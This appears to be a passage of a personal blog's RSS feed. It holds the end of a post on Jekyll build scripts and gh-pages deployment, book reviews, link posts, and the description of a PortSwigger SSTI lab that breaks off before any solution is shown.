    </span><span class="nl">"critical:post:desktop"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/blog/2025/quick-tips-for-a-better-website.html --base=_site --css=_site/css/main-critical.css --width=1440 --height=800 &gt; src/_includes/critical-post-desktop.css || echo 'Skipped post desktop critical'"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"critical:page:mobile"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/books/index.html --base=_site --css=_site/css/main-critical.css --width=412 --height=667 &gt; src/_includes/critical-page-mobile.css || echo 'Skipped page mobile critical'"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:page:tablet"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/books/index.html --base=_site --css=_site/css/main-critical.css --width=768 --height=800 &gt; src/_includes/critical-page-tablet.css || echo 'Skipped page tablet critical'"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:page:desktop"</span><span class="p">:</span><span class="w"> </span><span class="s2">"critical _site/books/index.html --base=_site --css=_site/css/main-critical.css --width=1440 --height=800 &gt; src/_includes/critical-page-desktop.css || echo 'Skipped page desktop critical'"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"critical:home"</span><span class="p">:</span><span class="w"> </span><span class="s2">"npm run critical:home:mobile &amp;&amp; npm run critical:home:tablet &amp;&amp; npm run critical:home:desktop"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:post"</span><span class="p">:</span><span class="w"> </span><span class="s2">"npm run critical:post:mobile &amp;&amp; npm run critical:post:tablet &amp;&amp; npm run critical:post:desktop"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:page"</span><span class="p">:</span><span class="w"> </span><span class="s2">"npm run critical:page:mobile &amp;&amp; npm run critical:page:tablet &amp;&amp; npm run critical:page:desktop"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical"</span><span class="p">:</span><span class="w"> </span><span class="s2">"npm run critical:home &amp;&amp; npm run critical:post &amp;&amp; npm run critical:page"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"minify:inlinejs"</span><span class="p">:</span><span class="w"> </span><span class="s2">"terser </span><span class="se">\"</span><span class="s2">src/_includes/lazy-load-back-to-top.js</span><span class="se">\"</span><span class="s2"> -o </span><span class="se">\"</span><span class="s2">src/_includes/lazy-load-back-to-top.min.js</span><span class="se">\"</span><span class="s2"> -c -m"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"build:jekyll:2"</span><span class="p">:</span><span class="w"> </span><span class="s2">"bundle exec jekyll build"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"minify:js"</span><span class="p">:</span><span class="w"> </span><span class="s2">"terser </span><span class="se">\"</span><span class="s2">_site/js/back-to-top.js</span><span class="se">\"</span><span class="s2"> -o </span><span class="se">\"</span><span class="s2">_site/js/back-to-top.js</span><span class="se">\"</span><span class="s2"> -c -m &amp;&amp; terser </span><span class="se">\"</span><span class="s2">_site/js/particles.js</span><span class="se">\"</span><span class="s2"> -o </span><span class="se">\"</span><span class="s2">_site/js/particles.js</span><span class="se">\"</span><span class="s2"> -c -m &amp;&amp; terser </span><span class="se">\"</span><span class="s2">_site/js/smooth-fragments.js</span><span class="se">\"</span><span class="s2"> -o </span><span class="se">\"</span><span class="s2">_site/js/smooth-fragments.js</span><span class="se">\"</span><span class="s2"> -c -m"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"copy:back"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node build/copy-file.js </span><span class="se">\"</span><span class="s2">src/css/temp.main.css</span><span class="se">\"</span><span class="s2"> </span><span class="se">\"</span><span class="s2">_site/css/main.css</span><span class="se">\"</span><span class="s2">"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"copy:root-files"</span><span class="p">:</span><span class="w"> </span><span class="s2">"node build/copy-file.js src/README.md README.md &amp;&amp; node build/copy-file.js src/license.md license.md"</span><span class="p">,</span><span class="w">

    </span><span class="nl">"build"</span><span class="p">:</span><span class="w"> </span><span class="s2">"npm run update:badges &amp;&amp; npm run build:jekyll:1 &amp;&amp; npm run postcss &amp;&amp; npm run copy:minified-css &amp;&amp; npm run postcss:critical &amp;&amp; npm run critical &amp;&amp; npm run minify:inlinejs &amp;&amp; npm run build:jekyll:2 &amp;&amp; npm run minify:js &amp;&amp; npm run copy:back &amp;&amp; npm run copy:root-files"</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"scriptsComments"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"update:badges"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Generate README.md from README.template.md by replacing placeholders ({{LAST_UPDATED}}, {{RUBY_VERSION}}, {{JEKYLL_VERSION}}, {{NODE_VERSION}}, {{NPM_VERSION}}) with real values. Do not edit README.md directly — edit README.template.md instead."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"build:jekyll:1"</span><span class="p">:</span><span class="w"> </span><span class="s2">"First Jekyll build: generate HTML pages."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"postcss"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Run PostCSS with PurgeCSS to remove unused CSS for live site."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"copy:minified-css"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Save a temp copy of main.css so it can be restored later."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"postcss:critical"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Run PostCSS again to generate main-critical.css, removing selectors that should not be inlined by Critical (like #toTopButton)."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical:*"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Generate critical CSS for different breakpoints and pages, reading main-critical.css."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"minify:inlinejs"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Minify inline JS scripts"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"build:jekyll:2"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Second Jekyll build: inject generated Critical CSS includes and generated inline JS scripts includes into HTML pages."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"minify:js"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Minify JS files."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"copy:back"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Restore the full PurgeCSS main.css to _site for live site."</span><span class="p">,</span><span class="w">
    </span><span class="nl">"copy:root-files"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Copy README.md and license.md from src/ to repository root so they exist at the repo root for GitHub display and are not only in _site"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"build"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Full build pipeline: update badges, build site, process CSS, generate Critical CSS, rebuild HTML with critical CSS and minified inline scripts, minify JS files, restore main CSS."</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"devDependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"@fullhuman/postcss-purgecss"</span><span class="p">:</span><span class="w"> </span><span class="s2">"7.0.2"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"critical"</span><span class="p">:</span><span class="w"> </span><span class="s2">"7.2.1"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"postcss"</span><span class="p">:</span><span class="w"> </span><span class="s2">"8.5.6"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"postcss-cli"</span><span class="p">:</span><span class="w"> </span><span class="s2">"11.0.1"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"terser"</span><span class="p">:</span><span class="w"> </span><span class="s2">"5.44.0"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>    </div>

    <p>The script comments are clear about each of those build lines.</p>

    <p>Codes for all of these files exist in my website GitHub repo.</p>

    <p>For <code class="language-plaintext highlighter-rouge">gh-pages</code> branch which is used for publishing website files for GitHub Pages:</p>

    <div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Switch to gh-pages branch</span><span class="w">
</span><span class="n">git</span><span class="w"> </span><span class="nx">checkout</span><span class="w"> </span><span class="nx">gh-pages</span><span class="w">

</span><span class="c"># Ensure .gitignore contains only:</span><span class="w">
</span><span class="c"># _site/, CNAME, node_modules/, .jekyll-cache/</span><span class="w">
</span><span class="n">git</span><span class="w"> </span><span class="nx">add</span><span class="w"> </span><span class="o">.</span><span class="nf">gitignore</span><span class="w">
</span><span class="nx">git</span><span class="w"> </span><span class="nx">commit</span><span class="w"> </span><span class="nt">-m</span><span class="w"> </span><span class="s2">"Fix .gitignore for gh-pages"</span><span class="w">

</span><span class="c"># Clean branch root while keeping .git, .gitignore, node_modules and _site</span><span class="w">
</span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Name</span><span class="w"> </span><span class="nt">-notin</span><span class="w"> </span><span class="p">@(</span><span class="s1">'.git'</span><span class="p">,</span><span class="w"> </span><span class="s1">'.gitignore'</span><span class="p">,</span><span class="w"> </span><span class="s1">'node_modules'</span><span class="p">,</span><span class="w"> </span><span class="s1">'_site'</span><span class="p">)</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Remove-Item</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-Force</span><span class="w">

</span><span class="c"># Optional: Remove temporary Jekyll cache if exists</span><span class="w">
</span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="s2">".jekyll-cache"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Remove-Item</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="o">.</span><span class="nf">jekyll-cache</span><span class="w"> </span><span class="p">}</span><span class="w">

</span><span class="c"># Copy freshly built _site contents into repo root</span><span class="w">
</span><span class="n">robocopy</span><span class="w"> </span><span class="s2">"_site"</span><span class="w"> </span><span class="s2">"."</span><span class="w"> </span><span class="nx">/E</span><span class="w">

</span><span class="c"># Stage all changes</span><span class="w">
</span><span class="n">git</span><span class="w"> </span><span class="nx">add</span><span class="w"> </span><span class="o">.</span><span class="w">

</span><span class="c"># Optional: Show staged changes</span><span class="w">
</span><span class="n">git</span><span class="w"> </span><span class="nx">status</span><span class="w">

</span><span class="c"># Commit &amp; push automatically if there are changes</span><span class="w">
</span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="o">-not</span><span class="w"> </span><span class="p">(</span><span class="n">git</span><span class="w"> </span><span class="nx">diff</span><span class="w"> </span><span class="nt">--cached</span><span class="w"> </span><span class="nt">--quiet</span><span class="p">))</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="n">git</span><span class="w"> </span><span class="nx">commit</span><span class="w"> </span><span class="nt">-m</span><span class="w"> </span><span class="s2">"Update site from _site"</span><span class="w">
    </span><span class="n">git</span><span class="w"> </span><span class="nx">push</span><span class="w"> </span><span class="nx">origin</span><span class="w"> </span><span class="nx">gh-pages</span><span class="w">
</span><span class="p">}</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="n">Write-Output</span><span class="w"> </span><span class="s2">"No changes to commit. Nothing to push."</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div>    </div>

    <p>The result: built website code is committed and pushed to the <code class="language-plaintext highlighter-rouge">gh-pages</code> branch of my website on GitHub.</p>
  </li>
</ul>

<p><br />
<br /></p>

<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Thu, 25 Sep 2025 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2025/quick-tips-for-a-better-website</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2025/quick-tips-for-a-better-website</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2025/website-boost.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Website</category>
        
          <category>Website Performance</category>
        
          <category>Website Security</category>
        
          <category>Cloudflare</category>
        
          <category>Github Pages</category>
        
          <category>Jekyll</category>
        
          <category>PageSpeed Insights</category>
        
      </item>
    
      <item>
        <title>Until it&apos;s done, tell none.</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2025/tom.jpg" alt="Until it&#39;s done, tell none." /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>My first post after a long time, although it seems like a purely fun post, it’s got a powerful psychological message:</p>

<p>
  <strong>
    <em>Don’t talk about your goals and what you’re doing unless they’re already done.</em>
  </strong>
</p>

<p>You lose the motivation and mental energy necessary to achieve your goals if you talk about them prematurely. There are already some credible researches done about this subject.</p>

<p>It comes from research in social psychology:</p>

<p>When you talk about a goal, your brain gets a premature reward signal. People praise you, or you feel proud just by saying it. That dopamine hit tricks your mind into thinking you’ve already made progress.</p>

<p>As a result, motivation drops, because the urge to prove yourself through action is partially satisfied by words alone.</p>

<p>This is why many successful people keep their plans quiet until they’re done — it protects their mental energy.</p>

<p>Also there are other reasons for not talking about your goals but this one is the most important.</p>

<p>You can follow the “Mindset Machine” page on X for more high quality motivational/inspirational posts.</p>

<p>
  <br />
</p>

<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="mindset-machine-on-x"><a href="https://x.com/Mindset_Machine/">Mindset Machine on X</a></h3>
  </li>
</ul>

<p>
  <br />
</p>

<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 15 Sep 2025 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2025/until-its-done-tell-none</link>
        <guid isPermaLink="true">https://nima.ninja/links/2025/until-its-done-tell-none</guid>

        
          <media:content url="https://nima.ninja/links/assets/2025/tom.jpg" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Fun</category>
        
          <category>Mindset</category>
        
          <category>Psychology</category>
        
          <category>Goals</category>
        
      </item>
    
      <item>
        <title>The Parasitic Mind: How Infectious Ideas Are Killing Common Sense</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2024/the-parasitic-mind-book.jpg" alt="The Parasitic Mind: How Infectious Ideas Are Killing Common Sense" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />

<p>
  <strong>“Read this book, strengthen your resolve, and help us all return to reason.” —JORDAN PETERSON</strong>
</p>

<p>
  <strong>USA TODAY NATIONAL BESTSELLER</strong>
</p>

<p>There’s a war against truth… and if we don’t win it, intellectual freedom will be a casualty.</p>

<p>The West’s commitment to freedom, reason, and true liberalism has never been more seriously threatened than it is today by the stifling forces of political correctness.</p>

<p>Dr. Gad Saad, the host of the enormously popular YouTube show THE SAAD TRUTH, exposes the bad ideas—what he calls “idea pathogens”—that are killing common sense and rational debate. Incubated in our universities and spread through the tyranny of political correctness, these ideas are endangering our most basic freedoms—including freedom of thought and speech.</p>

<p>The danger is grave, but as Dr. Saad shows, politically correct dogma is riddled with logical fallacies. We have powerful weapons to fight back with—if we have the courage to use them.</p>

<p>A provocative guide to defending reason and intellectual freedom and a battle cry for the preservation of our fundamental rights, The Parasitic Mind will be the most controversial and talked-about book of the year.</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>Dr. Gad Saad is Professor of Marketing at Concordia University (Montreal, Canada), and former holder of the Concordia University Research Chair in Evolutionary Behavioral Sciences and Darwinian Consumption (2008-2018). He has held Visiting Associate Professorships at Cornell University, Dartmouth College, and the University of California–Irvine. Dr. Saad received the Faculty of Commerce’s Distinguished Teaching Award in June 2000, and was listed as one of the ‘hot’ professors of Concordia University in both the 2001 and 2002 Maclean’s reports on Canadian universities. Saad was appointed Newsmaker of the Week of Concordia University in five consecutive years (2011-2015), and is the co-recipient of the 2015 President’s Media Outreach Award-Research Communicator of the Year (International), which goes to the professor at Concordia University whose research receives the greatest amount of global media coverage.</p>

<p>Professor Saad has pioneered the use of evolutionary psychology in marketing and consumer behavior. His works include The Consuming Instinct: What Juicy Burgers, Ferraris, Pornography, and Gift Giving Reveal About Human Nature (translated into Korean and Turkish); The Evolutionary Bases of Consumption; Evolutionary Psychology in the Business Sciences, along with 75+ scientific papers, many at the intersection of evolutionary psychology and a broad range of disciplines including consumer behavior, marketing, advertising, psychology, medicine, and economics. His Psychology Today blog (Homo Consumericus) and YouTube channel (THE SAAD TRUTH) have garnered 6.4+ million and 20.8+ million total views respectively. He recently started a podcast titled The Saad Truth with Dr. Saad, which is available on all leading podcast platforms.</p>

<p>In addition to his scientific work, Dr. Saad is a leading public intellectual who often writes and speaks about idea pathogens that are destroying logic, science, reason, and common sense. His fourth book The Parasitic Mind: How Infectious Ideas Are Killing Common Sense will be released on October 6, 2020.</p>

<p>He received a B.Sc. (1988) and an M.B.A. (1990) both from McGill University, and his M.S. (1993) and Ph.D. (1994) from Cornell University.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />

<p>Author: Gad Saad</p>

<p>Category: Civil Rights &amp; Liberties, Political Commentary &amp; Opinion, Political Conservatism &amp; Liberalism</p>

<p>Publisher: Regnery Publishing (October 5, 2021)</p>

<p>Paperback: 264 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>I think this is a necessary read to become more familiar and immune to some dangerous mind viruses that threaten the very fabric of the free world that we have taken for granted.</p>

<p>Also praised and recommended by Elon Musk on X.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Fri, 18 Oct 2024 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2024/the-parasitic-mind-how-infectious-ideas-are-killing-common-sense</link>
        <guid isPermaLink="true">https://nima.ninja/books/2024/the-parasitic-mind-how-infectious-ideas-are-killing-common-sense</guid>

        
          <media:content url="https://nima.ninja/books/assets/2024/the-parasitic-mind-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Personal Transformation</category>
        
          <category>Psychology</category>
        
          <category>Evolution</category>
        
          <category>Memetics</category>
        
          <category>Mind Viruses</category>
        
      </item>
    
      <item>
        <title>Can&apos;t Hurt Me: Master Your Mind and Defy the Odds</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2024/cant-hurt-me-book.jpg" alt="Can&#39;t Hurt Me: Master Your Mind and Defy the Odds" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
<p>For <strong>David Goggins</strong>, childhood was a nightmare – poverty, prejudice, and physical abuse colored his days and haunted his nights. But through self-discipline, mental toughness, and hard work, Goggins transformed himself from a depressed, overweight young man with no future into a U.S. Armed Forces icon and one of the world’s top endurance athletes. The only man in history to complete elite training as a Navy SEAL, Army Ranger, and Air Force Tactical Air Controller, he went on to set records in numerous endurance events, inspiring Outside magazine to name him “The Fittest (Real) Man in America.”</p>

<p>In <em>Can’t Hurt Me</em>, he shares his astonishing life story and reveals that most of us tap into only 40% of our capabilities. Goggins calls this The 40% Rule, and his story illuminates a path that anyone can follow to push past pain, demolish fear, and reach their full potential.</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="review">Review</h3>
<p>“David Goggins is a being of pure will and inspiration. Just listening to this guy talk makes you want to run up a mountain. I firmly believe people like him can change the course of the world just by inspiring us to push harder and dig deeper in everything we do. His goal to be ‘uncommon amongst uncommon people’ is something we can all use to propel ourselves to fulfill our true potential. I’m a better man having met him.” –<strong>Joe Rogan</strong>, Standup Comedian and Host of the Joe Rogan Experience Podcast</p>

<p>“David Goggins lives out every goal, every dream no matter what. PERIOD. He’s unstoppable. There’s no limit to him because he doesn’t live in a comfort zone. His mental and physical capacity are equal. Goggins proves that your body can handle anything if you let your mind keep up. There’s no way to stop something or someone that doesn’t understand the concept of being beat.” –<strong>Marcus Luttrell</strong>, Retired Navy SEAL, Author of New York Times Best Seller Lone Survivor</p>

<p>“Modern neuroscience is teaching us that the path to courage and success arrives through embracing pain and fear, not by avoiding them. If ever there was a real-life example of this, it is the story of David Goggins. In his unrelenting pursuit to self-conquer, Goggins taught himself how to tap into that elusive holy grail of human existence: the ability to rewire one’s own brain in order to continually do better and actually become better, regardless of feelings, external conditions, or motivational state. Can’t Hurt Me is the remarkable description of that journey and the capacity to leverage and better the mind. More importantly, it also teaches you how.” –<strong>Andrew D. Huberman</strong>, PhD, Professor of Neurobiology, Stanford University School of Medicine</p>

<p>“David Goggins throws the door open on pain, evil, darkness, the worst and yes, the best of humanity, and the strength of the human soul…and that’s just in chapter one. If you are looking for a book that will heal, stretch, inspire, and dig into the corners of what it takes to persevere and overcome in a messed-up world, this is your book.” –<strong>Taya Kyle</strong>, Widow of American Sniper Chris Kyle, Author of New York Times Best Seller American Wife</p>

<p>“By the time you finish David Goggins’s new book, you’ll have kicked your victim mentality in the butt. Where you go from there is entirely up to you–as Goggins makes clear in this entertaining and poignant memoir cum inspirational how-to. As the man with a hole in his heart tells you, there are no excuses in life, only reasons to try harder.” –<strong>Jim DeFelice</strong>, Author of American Sniper</p>

<p>“David Goggins’s book is not the first about overcoming severe hardships to achieve success, but it is certainly one of the most compelling. His story of beating the odds, of achieving athletic greatness, of serving his country and his charities, and of mastering his own destiny will inspire all of us to reach a little higher and give a little more. ‘I will never quit’ is a tenet of the Navy SEAL ethos, and one that David Goggins applies to everything he does.” –<strong>Admiral Eric Olson</strong>, U.S. Navy (Retired); Former Commander, United States Special Operations Command; Chairman, Special Operations Warrior Foundation</p>

<p>“I’m inspired that people like this guy exist. Not everyone will live a life like David Goggins, but he is proof that anyone could if given the right headspace within.” –<strong>Kelly Slater</strong>, Eleven-Time World Champion Surfer</p>

<p>“Guaranteed to galvanize more than a few couch potatoes into action.” – <strong>Kirkus Reviews</strong></p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>David Goggins is a retired Navy SEAL and the only member of the U.S. Armed Forces ever to complete SEAL training, U.S. Army Ranger School, and Air Force Tactical Air Controller training. Goggins has competed in more than sixty ultra-marathons, triathlons, and ultra-triathlons, setting new course records and regularly placing in the top five. A former Guinness World Record holder for completing 4,030 pull-ups in seventeen hours, he’s a much-sought-after public speaker who’s shared his story with the staffs of Fortune 500 companies, professional sports teams, and hundreds of thousands of students across the country.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />

<p>Author: David Goggins</p>

<p>Category:   Personal Transformation Self-Help, Success Self-Help, Motivational Self-Help</p>

<p>Publisher: Lioncrest Publishing; Illustrated edition (December 10, 2018)</p>

<p>Paperback: 364 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>This is a great motivational book that shows we have far more mental and physical capacities than we usually feel and we can achieve far greater goals if we try harder than usual, written by a man who has lived what he’s talking about.</p>

<p>The 40% percent rule mentioned in the book is eye-opening, that most of us usually tap into only 40 percent of our capabilities and this is the point our body and mind tell us it’s enough and we need to stop, but we can surpass this point and achieve far greater outcomes if we have trained our mind good enough.</p>

<p>Goggins makes us more familiar with our powerful mind and body with his real-life experiences and stories that are beyond what most of us think are humanly possible yet almost all of us can achieve.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 16 Sep 2024 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2024/cant-hurt-me-master-your-mind-and-defy-the-odds</link>
        <guid isPermaLink="true">https://nima.ninja/books/2024/cant-hurt-me-master-your-mind-and-defy-the-odds</guid>

        
          <media:content url="https://nima.ninja/books/assets/2024/cant-hurt-me-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Personal Transformation</category>
        
          <category>Motivational</category>
        
          <category>Try Harder</category>
        
          <category>Health</category>
        
          <category>Fitness</category>
        
      </item>
    
      <item>
        <title>Stanford Web Security Course</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2023/web-security.png" alt="Stanford Web Security Course" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>This course is a gold mine for every web application security enthusiast.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="stanford-cs-253-web-security"><a href="https://web.stanford.edu/class/cs253/">Stanford CS 253 Web Security</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sat, 06 May 2023 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2023/stanford-web-security-course</link>
        <guid isPermaLink="true">https://nima.ninja/links/2023/stanford-web-security-course</guid>

        
          <media:content url="https://nima.ninja/links/assets/2023/web-security.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Web Applications</category>
        
          <category>Web Application Security</category>
        
          <category>Hacking</category>
        
          <category>Courses</category>
        
      </item>
    
      <item>
        <title>ChatGPT for Bug Bounty: Faster Hunting and Reporting</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2023/ai.png" alt="ChatGPT for Bug Bounty: Faster Hunting and Reporting" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>Nice sample prompts that will give you some ideas on how to use ChatGPT more effectively for Bug Hunting.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="chatgpt-for-bug-bounty-faster-hunting-and-reporting"><a href="https://infosecwriteups.com/chatgpt-for-bug-bounty-faster-hunting-and-reporting-ad8b556f79f3" rel="nofollow">ChatGPT for Bug Bounty: Faster Hunting and Reporting</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Tue, 25 Apr 2023 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2023/chatgpt-for-bug-bounty-faster-hunting-and-reporting</link>
        <guid isPermaLink="true">https://nima.ninja/links/2023/chatgpt-for-bug-bounty-faster-hunting-and-reporting</guid>

        
          <media:content url="https://nima.ninja/links/assets/2023/ai.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Web Application Security</category>
        
          <category>Bug Bounty</category>
        
          <category>AI</category>
        
          <category>ChatGPT</category>
        
      </item>
    
      <item>
        <title>Beginner’s Guide To OSCP 2023</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2023/hacker.png" alt="Beginner’s Guide To OSCP 2023" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>A valuable guide for beginners on how to get prepared for the OSCP certification exam.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="beginners-guide-to-oscp-2023"><a href="https://infosecwriteups.com/guide-to-oscp-2023-37c0aea0dec0" rel="nofollow">Beginner’s Guide To OSCP 2023</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Tue, 25 Apr 2023 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2023/beginner-s-guide-to-oscp-2023</link>
        <guid isPermaLink="true">https://nima.ninja/links/2023/beginner-s-guide-to-oscp-2023</guid>

        
          <media:content url="https://nima.ninja/links/assets/2023/hacker.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Penetration Testing</category>
        
          <category>Hacking</category>
        
          <category>Prerequisite</category>
        
          <category>Newcomers</category>
        
          <category>Offsec</category>
        
          <category>Certifications</category>
        
          <category>OSCP</category>
        
      </item>
    
      <item>
        <title>Expert Lab: Server-side Template Injection with a Custom Exploit</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2023/ssti-custom-exploit-twig.png" alt="Expert Lab: Server-side Template Injection with a Custom Exploit" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<!--TOC-->

<p>
  <br />
</p>

<h2 id="lab-link">Lab Link</h2>
<hr />
<p>
  <a href="https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-a-custom-exploit">Lab: Server-side template injection with a custom exploit</a>
</p>

<p>
  <br />
</p>

<h2 id="lab-description">Lab Description</h2>
<hr />
<p><br />
This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file <code class="language-plaintext highlighter-rouge">/.ssh/id_rsa</code> from Carlos’s home directory.</p>

<p>You can log in to your own account using the following credentials: wiener:peter
<br />
<br /></p>
<h3 id="warning">
  <strong>Warning</strong>
</h3>

<p>As with many high-severity vulnerabilities, experimenting with server-side template injection can be dangerous. If you’re not careful when invoking methods, it is possible to damage your instance of the lab, which could make it unsolvable. If this happens, you will need to wait 20 minutes until your lab session resets.</p>

<p>
  <br />
</p>
<h2 id="solutions">Solutions</h2>
<hr />
<p>
  <br />
</p>
<h3 id="solution-1-my-solution">Solution 1: My Solution</h3>
